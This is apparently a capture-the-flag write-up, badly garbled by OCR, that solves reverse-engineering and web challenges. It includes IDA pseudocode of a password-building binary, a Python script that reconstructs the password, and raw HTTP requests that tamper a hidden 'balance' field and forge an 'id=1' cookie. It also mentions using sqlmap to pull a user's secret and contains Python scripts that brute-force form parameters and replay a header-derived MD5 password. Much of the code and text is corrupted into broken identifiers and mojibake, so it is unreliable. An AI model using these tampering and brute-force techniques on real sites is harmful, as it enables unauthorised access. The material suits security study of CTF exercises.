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IEFlmctions window g x | I]]A View—h | Pseudocode—B@ | Pseudocode-ﬁ. | @Hex View—h | @Structures |
Function name - std:zoperator<{<{<{std::char_traits<{char>>({std::cout, “the password is : "};
| stduallocator=char=u~allocator() std::allocator<char>::allocator{&uil};
_start std::string::string{&vi5, "sdfaer34dfv234523aaedfas™, &uil);
_ xBA_get_pc_thunk_bx std::allocator<char>::_allocator{&uil);
£ | deregister_tm_clones vl = std::string::at(&uis, 18);
7| register_tm_clones std:zoperator<{{std::char_traits<{char>>{std::cout, ={ BYTE =)ud);
_do_global_dtors_aux ul = std::string::at{&ui5, 8);
frame_dummy std::zoperator<{<{<{std::char_traits<{char>>(std::cout, =({ BYTE =)ul});
echofvaid) u? = std::string::length{&v15);
process_data(void * uint,uint,void *) o std::ostream: operator<{{std::cout, vZ};
main u3 = std::string::at{&uis, 1);
_ static_initialization_and_destruction_0( std::operator<<{{std::char_traits<{char>>{std::cout, =*={ BYTE =)u3});
_GLOBAL_ sub_I_zhuce uly = std::string::at{&uiS, u4);
_libc_csu_init std::operator<<{<{std::char_traits<{char>>(std::cout, ={ BYTE =)ul});
_libe_csu_fini E std::string::append{&uvi5, “sdfsad™};
_term_proc uS = std::string::at{&u15, 8);
_libc_start main@@GLIBC_2 0 std::operator<<<{std::char_traits<{char>>{std::cout, =({ BYTE =)uS});
curl_easy_perform@@CURL_OPENSSL_ u6 = std::istring::at{&vis, 21);
_ZNSsCIEv@@GLIBCXX 3 4 3 std::operator<<{{std::char_traits<{char>>({std::cout, =*=({ BYTE =)ud);
_ZNKSsbsubstrE[j@@GLIBCXX_3_4 u7 = std::string::at(&uis, 8);
_ZStlsIStl1char traitsIcEERSt13basic_osi std::operator<<{<{std::char_traits<{char>>(std::cout, =({ BYTE =)u7});
_gxx_personality vO@@CXXABI_1_3 std::string::append{&vi5, “wrwnxcisd");
_Unwind_Resume@@GCC_3 0 uf = std::string::at{&u15, 16);
_ZNSt8ios_basedInitD1Ev@ @GLIBCXX std::operator<<{<{std::char_traits<{char>>{std::cout, =( BYTE =)ug);
_ZStlsISt11char traitsIcEERSt13basic_osi u? = std::string::at(&uis, 13);
_ZNSsBappendEPKc@@GLIBCXX_3_4 std::operator<<{{std::char_traits<{char>>{std::cout, ={ BYTE =)u9});
pthread_cancel @@GLIBC_2_0 U1l = std::string::at(&uis, 12);
_ZNKSsblengthEv@@GLIBCXX 3 4 std:operator<<{<{std::char_traits<{char>>{std::cout, ={_BYTE =)uid);
_ cxa_atexit@@GLIBC 2. 1 3 ull = std::string::at{&vi5, 19);
_ZNSolsEj@@GLIBCXX_3 4 ul12 = std::operator<{{{std::char_traits{char>>(std::cout, *{ BYTE =*)ui1);
curl_easy_cleanup@@CURL_OPENSSL _: std::ostream::operator<{<{{v12, std::endl<{char_std::char_traits<{char>>};
7| _ZNSsBappendERKSs@@GLIBCXX_3 4 std::string::_string(&ui5);
f| _ZStrsIcStl1char_traitsIcESalcEERSt13b: ~ return 03
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#!/usr/bin/env python
# -*- coding: utf-8 -*-

s = 'the password is : '
v1l5 = 'sdfaer34dfv234523aae3fas’
vo = v15[10]

vl = v15[0]

v2 = str(len(v15))

v3 = v15[1]

v4 = v15[4]

v5 = v15[8]

v6 = v15[21]

v7 = v15[8]

v8 = v15[16]

v9 = v15[13]

v1@ = vi15[12]

vll = v15[19]

string = s + vO + vl + v2 + v3 + v4 + V5 \
+ Vv6 + v7 + v8 + v9 + v10 + vil

print string
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€& @ v ty-ing.org/script/2/

HEAIRBRRRE) jpee S HHRIEx F2:8Y.
Filename: FIERIH

Submit
FILE.FileName phpbOI6Y0
FILE.FileDateTime 13990497333
FILE.FileSize 994452
FILE.FileType 2
FILE. HimeType image/jpeg
FILE. SectionsFound ANY_TAG, IFDO, THUMENAIL, EXIF, GPS
COMPUTED. html width="6016" height="4016"
CONMPUTED. Height 4016
COMPUTED. Width G016
COMPUTED. IsColor 1
CONPUTED. ByteOrderNotorola 0
COMPUTED. AperturefNumber /3.5
COMPUTED. UserComment
CONPUTED. UserCommentEncoding ASCIT
CONMPUTED. Copyright
COMPUTED. Thumbnail, FileType 2
CONMPUTED. Thumbnail. MimeType image/jpeg
IFDO, Nake NIEON CORPORATION
IFDO, Hodel NIEON D610
IFDO, Orientation 1
IFDO. XResolution 300/1
IFDO. YResolution 300/1
IFDO. Resolutionlnit 2
IFDO, Software Viewhl 2.9 W

IFDO. DateTime 2014:05:01 00:46:11
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id : 18
vear : 2013
month : 5

content : ATETALFE, BMIBNEE—— 18, 0 . BE

22013 tv

— g, BALHEE M secretBE i T -

B BT, WEEFIEEIEY.. . O BIEENRIERE T LLAMIE, 7£R ¥ FE4"hidden” inputZs
&"balance”, ZT&FIR, 15H RFE X balance” B A28 4 1 LAIENBTE, B L E#EIMERequest& F)

sqimap T #. #3250 ] L3R B xiaomingHIsecret T .
HRWTF:

POST /script/3/ HTTP/1.1
Host: www.ty-ing.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://www.ty-ing.org/script/3/

Connection: keep-alive

Content-Type: multipart/form-data; boundary=------------------~—~-~--~-~-~-—- 23900124323029

Content-Length: 445

----------------------------- 23900124323029
Content-Disposition: form-data; name="balance"

----------------------------- 23900124323029
Content-Disposition: form-data; name="year"

----------------------------- 23900124323029
Content-Disposition: form-data; name="month"

----------------------------- 23900124323029
Content-Disposition: form-data; name="submit"
Let's Go !

----------------------------- 23900124323029—
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# !/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'RickGray’
import urllib
import urllib2

targetUrl = 'http://script.iscc.org.cn/web@5_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer

payload = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIIKLMNOPQRSTUVWXYZ01234567890"
for c in range(@, 255):
data = {
'receiver': 'lubao515°',
'submitbutton': '#& %',
'uploaded': '102°,
chr(c): '1'
}
postData = urllib.urlencode(data)
request = urllib2.Request(url=targetUrl, data=postData)
response = urllib2.urlopen(request)
length = len(response.read())
if length != 342:
print response.read()
print data
break

raw_input('Press Enter!")
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[#]1 shutting down at 11:83:53

C:\sers“RickGray-Desktop>
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib

import urllib2

from hashlib import md5

targetUrl = 'http://script2.iscc.org.cn/web@7_e3a95260b7271954aa59460c134cde7e’
postUrl = 'http://script2.iscc.org.cn/web@7_e3a95260b7271954aa59460c134cde7e/index.aspraction=Check"
data = {

'pwd': "',

"submit': ‘X'

response = urllib.urlopen(targetUrl) # send GET request
pwd = response.headers['PassWord'] # get 'PassWord' value from the response header
cookie = response.headers['Set-Cookie'].split(';"')[0@] # get cookie value

hashCode = md5(pwd).hexdigest().upper() # calc the md5 hash of this pwd string, and upper all it's chars
data['pwd'] = hashCode # update the post data

# add the cookie to request
header = {

'cookie': cookie
}

request = urllib2.Request(url=postUrl, headers=header)
postData = urllib.urlencode(data)
resp = urllib2.urlopen(request, data=postData)

print resp.read()

flag: W3b_PrOGrdming@_@
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WERMT:

GET /web@8_0cfd59e8aef4f69e9301b8dbd2e@57b7/show.asp HTTP/1.1

Host: script2.iscc.org.cn

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://iscc.org.cn/challenges/2014/web/web@8/

Cookie: ASPSESSIONIDASTRRATR=NJBNEJPCAAELBJIDMNHOENMDG; id=1

Connection: keep-alive

Cache-Control: max-age=0
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